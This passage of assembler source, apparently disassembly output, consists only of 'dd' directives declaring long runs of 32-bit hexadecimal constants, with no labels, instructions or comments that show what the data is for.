		dd 57A0D58Ah, 783A152Eh, 5DD00EFh, 0A2BB129Fh, 32A01DA6h
		dd 7D958250h, 29C273A9h, 70955B5Dh, 1EE8B599h, 0E56F4C12h
		dd 0B6B88EBh, 23919D10h, 206E5027h, 5CF8F85Ah, 0F97BEF5Ah
		dd 9249AC01h, 3CE2FB79h, 9E29207Bh, 4BD64091h, 0FB00300Dh
		dd 8D25072Bh, 27B7508Bh, 3A5F5B87h, 7235F59Eh, 0EB04742Dh
		dd 0FBA58F84h, 162574C1h, 65A3DD2Eh, 7BED3AF5h,	71F05CA9h
		dd 0F133A02h, 5EFC5E79h, 0FEB7C282h, 0BF9C4771h, 52A03F4Eh
		dd 0E32956F1h, 58BCCB9h, 9C57D02h, 7761AFC0h, 9111AD5Bh
		dd 204BBC5Ah, 45089701h, 20500988h, 7ABC7F79h, 1AA9BD16h
		dd 5B8D7AEAh, 0F745B461h, 90EFCBF4h, 461962E7h,	0BA57E2B3h
		dd 43295765h, 0E035CFF5h, 719531F3h, 5C882341h,	961D276Dh
		dd 84FED9D6h, 7D588C77h, 0F4361904h, 23AA22C6h,	0C04527Bh
		dd 4A1BFAB8h, 96CDFAA1h, 59F0BC66h, 4A94D758h, 90FA9343h
		dd 0D2AE1Dh, 0B5030ABFh, 2DBA95F9h, 0C99D06B7h,	55EEEDB7h
		dd 59616E49h, 3573209Ch, 7B255C94h, 181D59D7h, 0BE9C0790h
		dd 214330A5h, 2AD92011h, 28CBE4FDh, 0F1C0CF74h,	38FAC99h
		dd 0F75BCC9h, 1B480180h, 0EF8A4B28h, 0E0970922h, 0EB50FA5Eh
		dd 992E8F21h, 7823B55h,	8316DF0Ch, 4E08CDB7h, 4F33D64h
		dd 0A7AE0D99h, 77842544h, 77FAAF38h, 950D6E00h,	8D0816F6h
		dd 32D00B0h, 0D7C2C046h, 0A92FCBE3h, 0D6D4D4DCh, 80911B49h
		dd 6B9C0B6Eh, 19F4127Fh, 89C1F21Fh, 0C13F7Ah, 88BB55E5h
		dd 361E9AF8h, 0CB798D29h, 1CF2F9A6h, 0AD4CD033h, 0E0F00599h
		dd 0BC19B938h, 0D3C62769h, 0A00AD0BBh, 5A78EA04h, 7BBA2BD7h
		dd 1B23EFh, 0D8D23177h,	2226CED9h, 0EC1C4B63h, 248C749h
		dd 223596Eh, 0F075A4E9h, 429D7CC2h, 779C482Eh, 0F9CCA84Bh
		dd 0BDB99860h, 5F526AF4h, 1FB27710h, 230EE2EEh,	0E06DC559h
		dd 543B39FDh, 1E924F7h,	5B7D32ACh, 910B607Fh, 56508005h
		dd 93B552E4h, 7DBBE8B6h, 4E9E0E6Bh, 6581302Ah, 30632BB7h
		dd 5A9872E7h, 0D0A7AEB9h, 5749DE8h, 34B6724Bh, 810C776Fh
		dd 6049D36h, 9C016DAh, 0D51014Dh, 2F7F590Fh, 34FEE718h
		dd 7904F16h, 65CE2EA3h,	0D9F90553h, 0A6DEFB5Bh,	87560682h
		dd 296F8FDDh, 54939895h, 30A300DDh, 68AD3531h, 0A057A91h
		dd 6AB6D970h, 880C4DEh,	0FDB109B4h, 0B62CEB04h,	39C1CA30h
		dd 9D2E07A5h, 0CC176F5Ah, 2F8C0ADCh, 9457EB98h,	8590953Dh
		dd 5207F462h, 9D6D63AFh, 7F7D67C0h, 5FCD25D6h, 2EB6A7E6h
		dd 0E913347h, 0D3202AD4h, 21125E25h, 9311E12Eh,	46FD19Dh
		dd 8A688004h, 0A2B9BCFEh, 8CC92E98h, 4D008596h,	750B8DA5h
		dd 31620A8h, 1177682h, 2F88F2E7h, 782C8852h, 0DD1154E8h
		dd 80DBFD5Ah, 0E447A33h, 94130199h, 0ED61F6A6h,	37FC7FF4h
		dd 3BB9000h, 5048E1ADh,	0D365A4DEh, 0FC3771A2h,	23BB7CF5h
		dd 6F191C71h, 2009C8A3h, 78291E6h, 50001B59h, 4EE95BF9h
		dd 172CBF24h, 0E6A292CAh, 9D14F28Dh, 86438ECFh,	0EBC9E0DBh
		dd 2F9A2538h, 1459FF7Bh, 1F0A2E19h, 502BBDBh, 0F621C72Dh
		dd 49A1609Ah, 0AA3D617Dh
		dd 901F1848h, 820971FAh, 6A270458h, 0DCAAD443h,	814A1749h
		dd 3606B69Ah, 3CF75681h, 0C84FBFEFh, 5BB70830h,	5814715Dh
		dd 509AAC9Fh, 5A8D84Bh,	0C0D5DAA4h, 0B80C1223h,	496D17F7h
		dd 9259E011h, 0A6AC6A4Ah, 0CE00585Fh, 8E97BEDFh, 57172959h
		dd 0B000B53Dh, 0D8F1237Ah, 9BBEC2Eh, 755ADDC5h,	97115C7Bh
		dd 0B1BD2B04h, 9BA2513h, 4EF91420h, 72F0D02Dh, 22A42BDh
		dd 8D2B5160h, 0BC6754FDh, 692A41CCh, 0EE810197h, 493353F2h
		dd 0C9A27E61h, 0B6015C17h, 0A1ED001Eh, 0C2842DE3h, 654E00F3h
		dd 14CB4027h, 162A916Ch, 5F48C701h, 0F046C038h,	12E5B5F7h
		dd 0F1B31A0Dh, 0FEAD2B7Ah, 0AE0CCD84h, 0B420F7A6h, 0E2873491h
		dd 4A803644h, 1DC4A5h, 41683D29h, 7C01EAFBh, 0C1F71B9Dh
		dd 0DFC259B5h, 84603D12h, 929713D5h, 0D2718Eh, 2259E618h
		dd 77252834h, 2CA5610Ch, 0C82B5F00h, 8D0B6004h,	0B7B512C9h
		dd 8B611000h, 0AD70C4D1h, 0E9F80209h, 0E0BCF6BEh, 4C37478Eh
		dd 587D5600h, 0FC42653Bh, 132EE6EFh, 0C6952D5Ah, 83BD636Bh
		dd 814E496Dh, 0B92E3344h, 87864B1Fh, 10C52882h,	2919C09h
		dd 55F1BBC4h, 2F917D5Eh, 0B7126358h, 0E4C303DFh, 61C89C84h
		dd 0CE976BE9h, 0C9CC00FBh, 36B25B43h, 440032DFh, 52C62406h
		dd 0EF5CF99h, 316B2E95h, 9DA4A98Bh, 0C985BC5Bh,	15490409h
		dd 0B13CEC10h, 318BD8CBh, 49ACD58Ah, 304B7526h,	52518FCAh
		dd 0B67E0DE1h, 1AED5B7Fh, 944C10D3h, 0BDDCB384h, 8280848Dh
		dd 32306F12h, 7F8A3893h, 94E5B78h, 518F4EDEh, 0F856AB86h
		dd 5FFE4C03h, 840FA7B9h, 0C16DDBEEh, 0E18D89C0h, 854BDA2Ch
		dd 0C21E9B7Fh, 7EFC13BFh, 7C00DCC1h, 205D420Ch,	0AA2EABBh
		dd 860F099Dh, 78102D13h, 5E39900Dh, 0B87C002Eh,	37823147h
		dd 65C501A1h, 5F57D06Ch, 0AE84F75Bh, 5E29C532h,	8C71CB8Fh
		dd 0AB905F27h, 3A09C00Eh, 7944F47Ch, 1DA3EA76h,	5871A521h
		dd 0E2E0DE2Dh, 6C7D181Dh, 24606990h, 0D758A4E6h, 3FD10900h
		dd 23467D27h, 3B9653B7h, 0E8317D10h, 0B88E4B0Fh, 4DFFC918h
		dd 0A3CBC07Eh, 52010F86h, 978CD528h, 282EF514h,	0C2E159EBh
		dd 85063777h, 3205EF95h, 0FE5CF8D5h, 2902716Ah,	0DCE1FF9Fh
		dd 0BC25DCEDh, 0E1905F4Dh, 0C12D8D01h, 7139D630h, 415FAD21h
		dd 382F3042h, 3422925h,	0F126F110h, 7FC202E0h, 64E66CCDh
		dd 29612084h, 3A6604Ah,	0BD5F05E0h, 0FA014000h,	62B135BFh
		dd 2F667672h, 0D7D41CCEh, 0C57F4BF6h, 2D66AC34h, 9A0AF11Fh
		dd 91542BAAh, 0BFDB8061h, 90D312Fh, 0AFD12F95h,	6F2C5090h
		dd 0B04BFB80h, 5F7D5D3Bh, 0A497DE90h, 6FBA6A0Ch, 4AFA5F3Ch
		dd 8094BDh, 0C4682723h,	5702339Eh, 0CE70F0BBh, 1AE07774h
		dd 2C7C9D3Bh, 0D662E2B7h, 35DD2DD5h, 2FB027EBh,	0AD5A28DAh
		dd 0DF7760FBh, 1A979C5Eh, 14CE5DEAh, 56E9DE17h,	0BFB3A152h
		dd 96C6FC25h, 259D3109h, 0DCCED717h, 2A4201EAh,	0A6EEB92h
		dd 0D9C99203h, 4E24892Dh, 59295D8h, 0FC2F89E7h,	88562542h
		dd 707DFB27h, 6B00F421h, 0FD8A5696h, 3A52505Fh,	9BFAD98Bh
		dd 0BFD77837h, 3EEBB951h, 0C54A1DB8h, 0FCB7AAC0h, 597742A2h
		dd 0B0FD2530h, 0BD0411A3h, 0E60EEDCh, 0C3F4D9h,	14C45685h
		dd 0A1EF6817h, 766A8B2Fh, 3CBC09ACh, 8FF7442Bh,	61B9921Ch
		dd 9925A4B8h, 0F8476159h, 0B3B8312Eh, 525FEE73h, 20505AC3h
		dd 26ACBA42h, 0A692800h, 0D04C790Dh, 0B3AD0B0Eh, 86C432AAh
		dd 970B9A7Bh, 4A103F16h, 0C2545E1Ch, 485CF561h,	1990615Ah
		dd 0B64AA07Ch, 0AC298F83h, 4FE9A155h, 0C199DE54h, 670AEBF3h
		dd 10C82F0h, 60746288h,	3161EF8Ah, 17E93FD6h, 5E7C44C0h
		dd 47B789E2h, 339B74A7h, 8273E259h, 0AB6B4A79h,	0BF1C56CAh
		dd 0E5215FA8h, 0A01A07C5h, 38F3D971h, 9712E400h, 507D6B0Ah
		dd 7AF6BF02h, 285B4819h, 437FE6F7h, 8BBA6295h, 104F7DC7h
		dd 0CF30D467h, 0B9936B4h, 60E23D2Bh, 2048D40Eh,	715DBF01h
		dd 0FC2A0125h, 0F3C4D7A1h, 0C0389EEFh, 56C239B2h, 0A0BB245Bh
		dd 8D0E13D7h, 0D68424Eh, 0A6115929h, 0D0EF0202h, 0EA509667h
		dd 5FBA8416h, 0C85330EEh, 88004E0Ch, 58072864h,	125BE6C5h
		dd 0BADF8B96h, 0C19E1D2Ah, 0E46BD310h, 2976D6DFh, 0CC400311h
		dd 8D8B12D8h, 61EC49ADh, 0BEB0BD59h, 0AC15B0F3h, 2D2E90A1h
		dd 0FB7B2BB9h, 0A4181579h, 5BB33212h, 600994B3h, 85D49D01h
		dd 0C6834CA7h, 0AF28ED7Eh, 6CF63BE3h, 38F2F6B4h, 0D8831C87h
		dd 81C9EA1Ch, 5162826Ch, 4C2201Ch, 28E58509h, 66AF4AFBh
		dd 2C95E49Ch, 4AB13AA3h, 8560BF19h, 1208DB81h, 0B25551D2h
		dd 6FEF4BA7h, 1F6E0EFDh, 648580F4h, 2C57757h, 18DEF781h
		dd 0A5EF32E1h, 0DDBDCA60h, 0F80C02D2h, 0D55525BFh, 6ECF9454h
		dd 59BDE56Fh, 0B7BAFB3h, 68608864h, 0B2EA0175h,	0A8F50B0h
		dd 0AD5740DAh, 0B96FB94Ch, 56E79259h, 30FBFE2Fh, 9656DB94h
		dd 0BB01F6A2h, 639E8680h, 94A4D892h, 55C60100h,	74F2A949h
		dd 0BDC12513h, 80A03FDFh, 5C8DDC7Ch, 4E1CC062h,	0FC4965BBh
		dd 44815941h, 5804561Dh, 50022EE5h, 0FB5EA7B3h,	5B9C5C27h
		dd 7B0AEE41h, 50AC89E2h, 2371BE00h, 33B0E36h, 0FA7D4FF4h
		dd 56D90C32h, 0E5DBE9BCh, 0A52B50h, 2CD23DDBh, 4A1CDDAFh
		dd 0F54A5EA4h, 98609FCCh, 2A55202Ah, 6561F825h,	0AB431285h
		dd 0FF31107Bh, 0CAF96510h, 21697E56h, 0C641BDD6h, 164D627Bh
		dd 193BC0FDh, 0D27C0118h, 283D6975h, 2B08D1E6h,	172B4E2Ch
		dd 4332CD9Dh, 0FFF4EF70h, 627D0B8Ah, 2979F50Ah,	52279916h
		dd 571B21E2h, 0ACFC263Bh, 253CB04h, 0E4D71F22h,	425395CBh
		dd 0E2EE870h, 0DAAFB380h, 0BB6A1764h, 52C7049Bh, 4600FEF8h
		dd 23BA3BF7h, 68AA0E98h, 47676F77h, 756EEE09h, 412D0EC0h
		dd 0FA50B70Fh, 172ADC8Ch, 52BF984Dh, 4D0995DEh,	0C0C07A4Dh
		dd 0A0D828BFh, 1D230FACh, 274D9589h, 21E95D24h,	6A2155F7h
		dd 0FAADE5FBh, 0B301A2B8h, 61605357h, 81D85B5Fh, 0C23E13DFh
		dd 713AE34h, 1D70097Ah,	45B78D99h, 80850DDEh, 0ADD381DAh
		dd 67FC7B19h, 91F10156h, 0B63BB325h, 6631B45Bh,	9D6B950Bh
		dd 0DE6A6ABDh, 0EB1DFE00h, 49B5890Ch, 0D9071BDh, 0F20D1831h
		dd 0FF2F52FAh, 489977D1h, 2B43E9BBh, 8A4F6528h,	997B907Dh
		dd 45900B0h, 277F148Ch,	0EF09949Ah, 0D596CB4Ah,	6CB3C160h
		dd 26A5B12h, 0A495F4D8h, 0BB50029Bh, 2C686ADEh,	2E6BF4Ah
		dd 15E17DA0h, 258A539Fh, 0CE3FA2F5h, 259ACC18h,	0D45968E9h
		dd 7288E6C4h, 33712D9Dh, 2D0064CEh, 7580E0E8h, 465829Fh
		dd 0F69EA363h, 0D10CAD09h, 175AACC9h, 0EC1A5F6Ch, 0A2E1242h
		dd 41018BAh, 0C8BF5B53h, 834B6D13h, 8766105Ch, 0F2B02502h
		dd 13F819C7h, 0BFEA5CD5h, 0A2FBB064h, 0C86A9742h, 3B765E01h
		dd 0CC8132EBh, 18095369h, 5BDA8B01h, 48511718h,	5F0B29C9h
		dd 0D6F556F9h, 4A341446h, 9EF0FE54h, 0A6FF4F6Ah, 0C8E2E09Ah
		dd 0B5A05083h, 0D45F2CCBh, 272C268Bh, 29ED5968h, 4452F9BDh
		dd 0D6BB4005h, 4E2ECF90h, 9DF8F0B0h, 4802B40h, 70E62CC3h
		dd 0A1E2EE52h, 71E45B0Ch, 1B4AB912h, 0DBC8E4BCh, 3042BF83h
		dd 0C0A8F48Fh, 4355BB06h, 0C72554D2h, 58BC4432h, 758461F9h
		dd 0D31210Fh, 85A6302Ah, 458C0869h, 55FD6A0Ch, 3B9A5C00h
		dd 7C60BDBFh, 305946C6h, 0C148B5B1h, 7F40FFDFh,	0F0799731h
		dd 0FEAEE91Eh, 71DEF069h
		dd 53C9B74Ch, 83012AFBh, 9ADBD01h, 2495F90Ch, 8947147Eh
		dd 818B1A9Dh, 0E9BAEB80h, 12D27350h, 74AF05F1h,	7AFCE2F3h
		dd 0CE915401h, 8ED2976Ah, 2DB353E0h, 3ADF5FA5h,	1C29497Ah
		dd 8665292Ah, 7763DBEAh, 0D5658224h, 8500FB9Ah,	68A30D99h
		dd 27613095h, 95098092h, 26BF5EBDh, 0D538F628h,	30FADFCBh
		dd 4D8D0165h, 0DE44315Eh, 0F9AA7D05h, 16BFCA8h,	0AAE19B91h
		dd 2D0F7FB9h, 0CCF95AF2h, 0DB58125Fh, 0A6B4967Eh, 3373276Bh
		dd 23C5671h, 0E1EE0562h, 0E1027787h, 37D5FC5Bh,	0A9752F1Bh
		dd 40B4F8CDh, 0CF0B8013h, 0CDC02BF9h, 0DE45C127h, 80C8681Fh
		dd 51ECA2B8h, 0BA7F258Dh, 30F0F67Bh, 7F1204BCh,	0ECAF7855h
		dd 60AB9367h, 6730C9A4h, 0C8DB0A07h, 5699D7B3h,	405EDA0Eh
		dd 0F94627D4h, 2702653h, 455E24E9h, 6A90975h, 6909CDF7h
		dd 0F2026D53h, 75FE8AB4h, 1A51F7DBh, 23BDD58h, 31958699h
		dd 6FD4A060h, 0DD852902h, 0EAFF542Bh, 6A04DE99h, 5C0F3021h
		dd 5B312FABh, 0BB96B79Ah, 94DC5E91h, 5FE1B83Bh,	0CC809EDEh
		dd 0FCB21931h, 4A329495h, 0EC49E972h, 0F4CD12F5h, 7CB6F157h
		dd 0E5B82756h, 59DD00BFh, 0EF5E332Fh, 0F109F400h, 84D245C6h
		dd 0BDDC4C39h, 0A0E5C704h, 0D652AC5Fh, 0E1FF7904h, 0EDC1559Bh
		dd 74745EF6h, 964A4FA6h, 29104BCAh, 4645804h, 5836CF8Eh
		dd 31A34BACh, 6EAA264Bh, 1D030014h, 0A48F515Eh,	0A1473B28h
		dd 45EB205Bh, 0FE0B9726h, 3DCD765h, 8C5F787Eh, 0B8A37BACh
		dd 22AA795Fh, 85E6093h,	3B6A06DCh, 4EF44BEFh, 741AA925h
		dd 0CBBF614Dh, 0AC8214BDh, 54ECD701h, 4A82145Dh, 288C709Bh
		dd 15C901CEh, 1C6F7FCh,	65CDFA4Ah, 0ED3BC86Fh, 28BEA900h
		dd 216343D1h, 0D38101AFh, 60E69B74h, 92F92B5Bh,	4EC69F71h
		dd 0CF460800h, 0CEBCACD8h, 141E132Fh, 506344B1h, 2AAAA15Fh
		dd 0BA4FC3E3h, 9004F719h, 29B3827Fh, 0C2ABD22Eh, 37776A7Fh
		dd 0E10780C7h, 0BD0B83DEh, 528C920h, 85CF1B68h,	8095EC36h
		dd 0F7C98899h, 0C2350444h, 0A8600CFAh, 0CCE4045Eh, 0D8AA369Ah
		dd 76BD83AEh, 0C052E545h, 0E25BE76h, 7CCBE800h,	0F407C497h
		dd 4B830461h, 0AB9CACB8h, 17237B6Bh, 0F431C100h, 0B5FAE9FBh
		dd 0D92DA0C4h, 0A7815B0Eh, 2D0862D4h, 61F90B10h, 40F515DFh
		dd 3AD8ED5Dh, 0DE35A42Eh, 0DD326909h, 32AFD0B7h, 15E57F7Ah
		dd 0AB1CBE2Ch, 0DFF86265h, 5805ABDh, 0A39C0363h, 173909A1h
		dd 0CDF0834Ah, 0BF27695h, 405E2AC1h, 5F1746DEh,	56625AA9h
		dd 600506F9h, 5BB71CCh,	22A4B94Dh, 85D10491h, 933DB8C5h
		dd 612DEEEDh, 3B93BF5Ah, 180F378h, 9649D38Eh, 6F890F60h
		dd 61A34AF8h, 47596BAh,	25B804B6h, 0C4319AB5h, 0E5817353h
		dd 0CE2A2F71h, 38205AFCh, 1BA175h, 4AA3EFE3h, 0CC9BF27h
		dd 58471907h, 20835005h, 8B7BD97Ah, 11F16DA5h, 7D8DAF00h
		dd 0F0E81Dh, 0BA65E319h, 0C4F3C09Dh, 9C8E530Bh,	948C308Bh
		dd 2321008Fh, 121AA2E6h, 4F01D5BDh, 719B0143h, 982BFE8Bh
		dd 8690FA12h, 1DBE8D4Ah, 55DD64D3h, 0FFB7E904h,	0EB9402FEh
		dd 57FE4509h, 32E3406Fh, 0B8044D7Ah, 8AF84B78h,	0F98A1847h
		dd 9661DF9Ch, 775ADC15h, 0AC5F24EEh, 0F6AAB56Ch, 0ADBED5C7h
		dd 3F3D48C8h, 20041831h, 81AEB672h, 2158D8Eh, 0B50464E9h
		dd 4A77C75Eh, 0E7EED68Ch, 6C4020B4h, 204D410h, 0B7A1F999h
		dd 0ED82D647h, 0B745BD9h, 345416DCh, 604830AAh,	580017C7h
		dd 5EB96775h, 0E2815h, 666E8EF5h, 0DED94891h, 25871497h
		dd 23EC042Fh, 0D227C704h, 0F3AB83BEh, 0A1E9D357h, 0E017D3B8h
		dd 0B80984BFh, 40E95E66h, 214DB3FEh, 676EF100h,	92E39028h
		dd 0C977023Bh, 5E9BD8B4h, 0CB4081D4h, 7B23A279h, 98F57D99h
		dd 0AFD69762h, 0FFE34BF6h, 0B1ACC224h, 487AFA4Fh, 0E45DDE00h
		dd 83CA1999h, 1DE2AA02h, 684D9529h, 97DA8AF7h, 3DF53D0Bh
		dd 648F8BD3h, 7700B059h, 84F78910h, 6D704Ch, 36599269h
		dd 0E0F31C34h, 798B255Ch, 955F3140h, 195952D3h,	0BA096A18h
		dd 0F50A728Ch, 0BF105405h, 1233E808h, 83B9FC96h, 0F0C32CC6h
		dd 7C93325Ch, 0C0DD2515h, 203EA460h, 0EFE9658h,	4A80C381h
		dd 0DB25E998h, 0C8D4F016h, 782CD517h, 0A9B571BFh, 0F85B0A05h
		dd 1BE1351Ch, 0B94B52ECh, 6FE94EF1h, 80FA79ADh,	0E6733075h
		dd 0FCA51232h, 7E09F118h, 0F9D3A6DEh, 0EB304BB4h, 4B65BD01h
		dd 81EE8828h, 9271CB38h, 0E3E17E5Ch, 0ED26E6Fh,	2112A11Ah
		dd 0B3DBF365h, 235CB63Bh, 0DEA22CF9h, 4ABDF909h, 67EDDF31h
		dd 0FA2CAFE0h, 0D6830156h, 8E100EBFh, 0B2F83A7Bh, 16FB4FAAh
		dd 0D572040Eh, 0D7171304h, 0EC09798Ch, 0C0B62FDh, 0D2D86050h
		dd 56EA534Eh, 7EDBFA4Ah, 7758F980h, 6D2FEBBCh, 4D261F5h
		dd 0AB00AC3Fh, 85BBC73Dh, 0F8F76E02h, 145EA4B7h, 40B7746Bh
		dd 67A18952h, 58AD2501h, 0AEE30CCBh, 8AA8312Eh,	87CB2AFEh
		dd 894A3222h, 9622D1FBh, 6C5DD6B7h, 0FC8A3E94h,	6B50A14Fh
		dd 0A5079B70h, 636704BFh, 0E10D9125h, 3DBC2F3Fh, 0C261F427h
		dd 0E203665Bh, 0F0E63015h, 9798589Dh, 4D400E1Ah, 30A46460h
		dd 0E009ADA0h, 0C63A5425h, 0A8948F2h, 1B7E1B2Fh, 7DDFFA72h
		dd 122D4B03h, 0F171BBA4h, 352E5F07h, 0D7D1ADDEh, 9DC6E3F4h
		dd 0E200B33Dh, 0EEE5FC40h, 68AA0B81h, 297DC0F4h, 6A65F7B0h
		dd 43FDBAFh, 4014E9F8h,	0FF9FC8CEh, 5E9800A9h, 7E623A26h
		dd 5F7C17B4h, 5D04CC7Fh, 0D4E9F4BEh, 0F63B17ABh, 1309E1A2h
		dd 0B97A7FFAh, 0DF1C652Dh, 8D2E441Fh, 0FC20DDC7h, 5CD54B1Eh
		dd 4EC02F4Dh, 0EAF50205h, 89777B00h, 8AE2EB81h,	0FD155E5Fh
		dd 593DAD4Bh, 9A08DDC1h, 8A2BC01Fh, 108EF648h, 124E17F5h
		dd 0FA34BAB1h, 0B22ADDA5h, 58345A6Bh, 8B3DFA82h, 9CB3D48h
		dd 3431B676h, 18FB7009h, 6F858396h, 37EB4D28h, 53ABF0DEh
		dd 0B101A247h, 1D20F540h, 0ACF0A76Dh, 97627B1Fh, 356D5D8Bh
		dd 848D94C0h, 8EC012A2h, 0AF4C8813h, 7B4E5109h,	0D7E6C2EBh
		dd 97006479h, 68D494C9h, 516B028Eh, 0E5CDCCF2h,	8DBF9CA0h
		dd 4E698B2Dh, 2BE50E92h, 0B5EF7F1Bh, 0A8453663h, 0DF09Ch
		dd 81C028F7h, 0C8F30AE7h, 8D316E0Eh, 4AF7F2B9h,	4C90562Fh
		dd 65077C81h, 0A8689EBDh, 0F7BB6340h, 0B8AD4A96h, 395FCED2h
		dd 0FC7ADAF0h, 7E83CA4Dh, 332B9825h, 22B5279Dh,	3125C75Ah
		dd 0AEAC5912h, 954BD48Eh, 9E3444CAh, 3F9BFF20h,	8485D9C0h
		dd 4A00EADAh, 6D70B8BFh, 9D026A63h, 541DC4B7h, 606B2F00h
		dd 1218481Ah, 0EFFCDD85h, 0DEEEA013h, 0BE1080CAh, 25785B31h
		dd 0BA5B9445h, 1A9B5AFh, 0ED6094E5h, 55F02BBDh,	607E97A9h
		dd 0B8217959h, 0F0A6B67Bh, 43B0711h, 0CBAEAAAh,	1E11E2A0h
		dd 898169B8h, 29C03359h, 3D6049D8h, 2782A708h, 0D87DD66Fh
		dd 25CDF9D5h, 3F709B7Bh, 0D9AA0EA8h, 7CA41148h,	0D7DFBDC2h
		dd 0EF02796Ah, 90069E33h, 0DE6F095Fh, 694AA45Eh, 0A325B1F5h
		dd 9C9BB29h, 0CD02A48Bh, 3E5861F3h, 90DB3912h, 0C59E5A9Bh
		dd 0C2F9BCADh, 0FAFD0BF8h, 5B6125A1h, 561E71h, 0D5379631h
		dd 2371BD2Bh, 0EB77D495h, 4BFE4D77h, 1705567Bh,	32DCF9BFh
		dd 29FD2FBDh, 26DD1FF5h, 8609E029h, 0B9258589h,	4D562227h
		dd 1F3D5518h, 0A080C505h, 13E581C1h, 161E283Ah,	0D691628Ah
		dd 0F3B0C403h, 956026Eh, 57A7C6B3h, 27591522h, 7DFE1313h
		dd 2221A305h, 13AFB6E9h
		dd 0CE259315h, 0C8B62012h, 120EE6BAh, 0E6AD284Dh, 7C5BF80h
		dd 58B8741Eh, 78228997h, 0E380041Ch, 0ECC82BB4h, 0C9738084h
		dd 0EC58AB8h, 359A7E50h, 20F9E6E1h, 0D6E02AF1h,	60DB02D3h
		dd 99E90B53h, 834494F5h, 0B8528DBEh, 27551EF0h,	0A764947h
		dd 0A02D7869h, 9D2CC883h, 81C0BB7Eh, 0EFF38CBh,	67E97FBBh
		dd 1927221Ch, 11184513h, 248E0010h, 4D25C7CEh, 6EA327F3h
		dd 79C9465Eh, 603D111Bh, 8FBB66CEh, 1B329D17h, 6D40AA5Eh
		dd 56EC79h, 7F286C5Dh, 0F3ED26EBh, 723BB724h, 58719514h
		dd 0B9ACD209h, 32FB2980h, 9D272C68h, 132F4CD2h,	0FD4CA1A6h
		dd 0E4C4BD27h, 92A83C77h, 24950116h, 3C57BBF9h,	0BEFC56FBh
		dd 0E6D9272Ah, 5F0C783Dh, 0BFF230AFh, 0B92A8896h, 7C97C358h
		dd 5A1C2E8h, 3403974h, 0BD2C199Dh, 0F45A7Eh, 265FA83Ah
		dd 0F568E1A9h, 89A6B85Ah, 4171510h, 0B531D22Bh,	0E2CB52EEh
		dd 9B54F8B5h, 6D178DDh,	567F6F09h, 0B77F8260h, 0DDDB62D2h
		dd 0ECFAE2D1h, 0D272015Ch, 56AD435Bh, 0D0CE3C5Ch, 0E29212D2h
		dd 601292F3h, 61F209F5h, 1587779h, 1A6D2D8Dh, 4EF4E47Ch
		dd 84EBC8D3h, 80C20B07h, 0A9C2EE87h, 51825D14h,	645E6ED2h
		dd 34AD6051h, 7A79F9F3h, 4167470h, 361E4195h, 0BF168C53h
		dd 1F2502FEh, 0E20B5C4Dh, 0F7321641h, 0FF0043B5h, 0A70CCFBAh
		dd 1DF1124Eh, 8452F2B4h, 0DEAA0452h, 6ADD84ABh,	43A269BCh
		dd 0CC5CBF20h, 0CA764BB1h, 0BDFB2238h, 9D629AD6h, 602069D1h
		dd 0A143A76Ah, 4C88D98Ch, 0C312BF5h, 0EC6E3249h, 607AFD1Ah
		dd 0CB4C3A27h, 0CD132000h, 8148DA32h, 756A09E7h, 607A3EB3h
		dd 5B32F16Bh, 5E577ABAh, 28C9008Bh, 0DF80A732h,	30BB955Eh
		dd 0C64EF76h, 30BE4C5Eh, 958DBBE0h, 27A76748h, 15985D60h
		dd 7100C479h, 42C22D49h, 8216AD03h, 40D95Fh, 8B52585Ah
		dd 614B59D3h, 8D311B20h, 0CE1F4A09h, 0B4B3186Dh, 0D45B270h
		dd 8B61C88Ah, 8AFCEAD9h, 0DFAFD41Eh, 0A9AAE298h, 0EDA6DD00h
		dd 0CC798D73h, 699F08E2h, 53415F47h, 5DC8B860h,	738E30Fh
		dd 0A05F61C4h, 6DB5FB63h, 54D92FB0h, 232E985h, 4CE82BE9h
		dd 11E9205h, 4281BA28h,	752F020Dh, 1E5E23Dh, 0C8563153h
		dd 16D04737h, 0BCCB00A8h, 7A9CECFFh, 0C34BEE77h, 0C2194BCDh
		dd 0AF2A172Eh, 0B401257Bh, 0F2FA464h, 15F26B85h, 0D484580h
		dd 77095FBFh, 5C90E8BDh, 1B46D62Dh, 0ABF06A00h,	0F882F68h
		dd 5489A425h, 0C512DEDDh, 5B308BFEh, 73700EBDh,	2610039Dh
		dd 3120DFB4h, 0FB5589DAh, 802FA94Fh, 0FD50DA2Ah, 31016CB4h
		dd 1818739h, 952CA929h,	6130F380h, 36006567h, 0DD99F068h
		dd 991D3D6h, 0E6861833h, 4460A02h, 0E7709C73h, 0D7B10483h
		dd 0F890FEC8h, 12172060h, 0C1F98B96h, 0E28167BEh, 0C2FCCD77h
		dd 5D5E11A6h, 1D46D6h, 853B38F2h, 12EC209Eh, 57D2ECFh
		dd 0E2C51DDBh, 13BA0040h, 7FE1B68Fh, 594600AAh,	0D62F36C2h
		dd 31FABF3Dh, 6537995h,	9C0A685Bh, 20E49A62h, 0DC055B2h
		dd 1F3BF2F5h, 36DB8265h, 5E25E93Ch, 0B7742731h,	0FC2500F6h
		dd 6BA53B98h, 100953A6h, 46890F90h, 5724580Eh, 0BA8A0B74h
		dd 0BF43220h, 0F4B01DEh, 0B7ADD041h, 3AA96B48h,	5C9E9681h
		dd 20FA2A12h, 7D02BDD7h, 0D5602C05h, 38018F0Fh,	5BE9F780h
		dd 5DFBCF6Ah, 0FFFCA948h, 85A20213h, 0F921451Fh, 0D3515Fh
		dd 904660BFh, 0FA4B8B6Ch, 0B15F6A8Ah, 0E96F7A01h, 48972000h
		dd 55C73EEFh, 0DE03D027h, 985D2DC2h, 0F4EB819Dh, 872B704Ah
		dd 2D28985Eh, 0B6DB0535h, 951B7D0h, 8D437B26h, 990F88D9h
		dd 259D849Ch, 0D7CE2CAEh, 8D35608Ah, 0B7E79528h, 0D727C41Ah
		dd 14E96A40h, 0EB485CB7h, 2967F6D4h, 0FDE2D5C9h, 91D935D5h
		dd 0E5CE8216h, 54D3DD68h, 2F17352h, 988BFBD0h, 0CA4F8575h
		dd 206A38Ch, 11FD0733h,	5E55F90Bh, 61DB509Ah, 593A7395h
		dd 2DD1819h, 99D892AEh,	0E440FC75h, 4C48D20Fh, 0DABF09F6h
		dd 86D15F96h, 57CBBB82h, 9355A050h, 60CF5Eh, 0FEBE071Eh
		dd 0CD67B9CEh, 0E697DE01h, 9623362Eh, 813ADB2Ah, 343101B9h
		dd 0BF1EF1C8h, 0EC4BB4D4h, 5F709C6h, 0F6736BC2h, 4FB7D0A0h
		dd 0CD8660C0h, 0F0B76707h, 0BC76BF0Dh, 659529E0h, 973950Ah
